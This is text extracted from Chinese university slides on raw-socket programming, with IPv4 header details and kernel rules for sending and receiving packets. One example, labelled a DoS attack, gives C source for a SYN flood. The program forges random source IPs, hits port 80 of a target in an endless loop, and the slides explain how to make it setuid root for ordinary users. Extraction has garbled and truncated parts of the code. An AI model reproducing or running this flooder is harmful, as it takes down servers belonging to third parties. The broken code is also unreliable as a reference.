第13章-原始套接字与数据链路访问编程要点课件.ppt
《第13章-原始套接字与数据链路访问编程要点课件.ppt》由会员分享,可在线阅读,更多相关《第13章-原始套接字与数据链路访问编程要点课件.ppt(32页珍藏版)》请在三一办公上搜索。
1、第13章 原始套接字,IPv4数据报格式,几点说明:首部长度是以32位(即4字节)为单位;16位的标识用于分片和重组;DF位(不分片);MF(还有片段);协议字段表示封装在IP报文中的上层协议,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);头部校验和只对IP头部(包括选项)计算,校验算法是标准的因特网校验和算法,即简单的16位反码求和。,IP数据报分片例子,IP数据报是指IP层端到端的传输单元(在分片之前和重新组装之后),分组是指在I P 层和链路层之间传送的数据单元。需要重申的是,任何传输层首部只出现在第1片数据中。,原始套接字(概述),原始套接字提供了一些使用tc
2、p和udp协议不能实现的功能,如:使用原始套接字可以读写ICMPv4、IGMPv4分组。如Ping程序,mroute程序等;使用原始套接字可以读特殊的IPv4数据包,内核不处理这些数据报的IPv4协议字段。如大多数内核只处理ICMP、IGMP、TCP、UDP的数据报。但协议字段还可以为其他值,如OSPF直接使用IP协议,将IP数据报的协议字段设为89,此时,就必须有专门的程序通过原始套接字来处理它们;利用原始套接字还可以创建自定义的IP数据报首部,编写基于IP协议的高层网络协议。,原始套接字创建,#include#include int socket(AF_INET,SOCK_RAW,int
3、protocol);protocol参数一般不能为0,如:IPPROTO_ICMP。另外,只有超级用户才能创建原始套接字。用户可以通过设置IP_HDRINCL选项来编写自己的IP数据报首部:const int on=1;setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,可以调用bind函数绑定原始套接字的本地IP地址,此时,所有输出的数据报将用到源IP地址(仅当IP_HDRINCL未设置时);如果不调用bind函数,由内核将源IP地址设成外出接口的主IP地址;可以调用connect函数设置数据报的目的地址(注意并不需要真正的连接)。此后,可直接调用write或se
4、nd。,通过原始套接字发送数据报,原始套接字的输出遵循以下规则:如果套接字已经连接,可以调用write、writev、send来发送数据,否则需要调用sendto或sendmsg;如果IP_HDRINCL选项未设置,则内核会将IP头部之后的第一个字节作为写数据的起始地址。如果设置了IP_HDRINCL,则内核会将IP头部的第一个字节作为写数据的起始地址。此时进程构造除了以下两项外的整个IP头部;(a)IPv4标识字段可以设为0,要求内核设置该值;(b)IPv4头部校验和由内核来计算和存储。IPv4数据报首部各个字段的内容均是网络字节序(对linux而言)对于超出外出接口的MTU的分组,内核将其
5、分片。,通过原始套接字接收数据报,内核通过原始套接字接收数据报,遵循以下规则:接收到的tcp和udp分组决不会传递给原始套接字,如果一个进程希望读取包含tcp或udp分组的IP数据报,那么它们必须在数据链路层读入;如果数据报以分片形式到达,则该分组将在所有片段到达并重组后才传给原始套接字。当内核处理完ICMP消息后,绝大部分ICMP分组将传递给原始套接字。对源自Berkeley的实现,除了回射请求、时间戳请求和地址掩码请求将完全由内核处理以外,所有收到的ICMP分组将传递给某个原始套接口;当内核处理完IGMP消息后,所有IGMP分组都将传递给某个原始套接字;所有带有内核不能识别的协议字段的IP
6、数据报都将传递给某个原始套接字。,通过原始套接字接收数据报(续),在将一个IP数据报传递给某个套接字之前,内核需要选择匹配的原始套接字:如果在创建原始套接字时,所指定的protocol参数不为0,则接收到的数据包的协议字段应与该值匹配;如果此原始套接字之上绑定了一个本地IP地址,那么接收到的数据报的目的IP地址应与该绑定地址相匹配;如果此原始套接字通过调用connect指定了一个对方的IP地址,那么接收到的数据报的源IP地址应与该已连接地址相匹配。如果一个原始套接字以protocol参数为0的方式创建,而且未调用bind或connect,那么对于内核传递给原始套接字的每一个原始数据报,该套接字
7、都会收到一份拷贝;当接收到的数据报传递给IPv4原始套接字时,整个数据报(包括IP头部)都将传递给进程。而对于IPv6,则将去除扩展头部。,例1、DOS攻击(拒绝服务攻击),拒绝服务攻击原理:,Hacker(客户端),分布式拒绝服务攻击原理图,源程序Dos.c:#include#include#include#include#include#include#include#include#define DESTPORT 80/*要攻击的端口(WEB)*/#define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in*addr)
8、;unsigned short check_sum(unsigned short*addr,int len);int main(int argc,char*argv)int sockfd;struct sockaddr_in addr;int on;on=1;if(argc!=2)fprintf(stderr,Usage:%sIPn,argv0);exit(1);,bzero(/*发送炸弹了!*/,void send_tcp(int sockfd,struct sockaddr_in*addr)char buffer100;/*用来放置我们的数据包*/struct ip*ip;struct t
9、cphdr*tcp;int head_len;/*我们的数据包实际上没有任何内容,所以长度就是两个结构的长度*/head_len=sizeof(struct ip)+sizeof(struct tcphdr);bzero(buffer,100);/*填充IP数据包的头部,还记得IP的头格式吗*/ip=(struct ip*)buffer;ip-ip_v=IPVERSION;/*版本一般的是4*/ip-ip_hl=sizeof(struct ip)2;/*IP数据包的头部长度*/ip-ip_tos=0;/*服务类型*/ip-ip_len=htons(head_len);/*IP数据包的长度*/i
10、p-ip_id=0;/*让系统去填写吧*/ip-ip_off=0;/*和上面一样,省点时间*/ip-ip_ttl=MAXTTL;/*最长的时间255*/ip-ip_p=IPPROTO_TCP;/*我们要发的是TCP包*/ip-ip_sum=0;/*校验和让系统去做*/ip-ip_dst=addr-sin_addr;/*我们攻击的对象*/printf(dest address is%sn,inet_ntoa(addr-sin_addr);,/*开始填写TCP数据包*/tcp=(struct tcphdr*)(buffer+sizeof(struct ip);tcp-source=htons(LO
11、CALPORT);tcp-dest=addr-sin_port;/*目的端口*/tcp-seq=random();tcp-ack_seq=0;tcp-doff=5;tcp-syn=1;/*我要建立连接*/tcp-check=0;/*好了,一切都准备好了.服务器,你准备好了没有*/while(1)/*你不知道我是从那里来的,慢慢的去等吧!*/ip-ip_src.s_addr=random();printf(addr is%dn,ip-ip_src.s_addr);sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,sizeof(struc
12、t sockaddr);,程序运行权限,通常情况下,有效用户ID等于实际用户ID,有效组ID等于实际组ID;文件方式字中有一个特殊标志,定义为“当执行此文件时将进程的有效用户ID设置为文件的所有者”,与此类似,组ID也有类似的情况。这两位称为:设置用户ID和设置组ID。对于本程序要求:普通用户能执行该程序,但该程序又要求要具有超级用户权限,因此:需要将该可执行程序的所有者设置为超级用户,并设置其“设置-用户-ID”标志,方法是:roothoyt/root#chown root DOS roothoyt/root#chmodu+s DOS,程序运行结果,例2:给本机发送一个ICMP报文,然后接收
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 13 原始 套接 数据链 访问 编程 要点 课件

链接地址:https://www.31ppt.com/p-4095536.html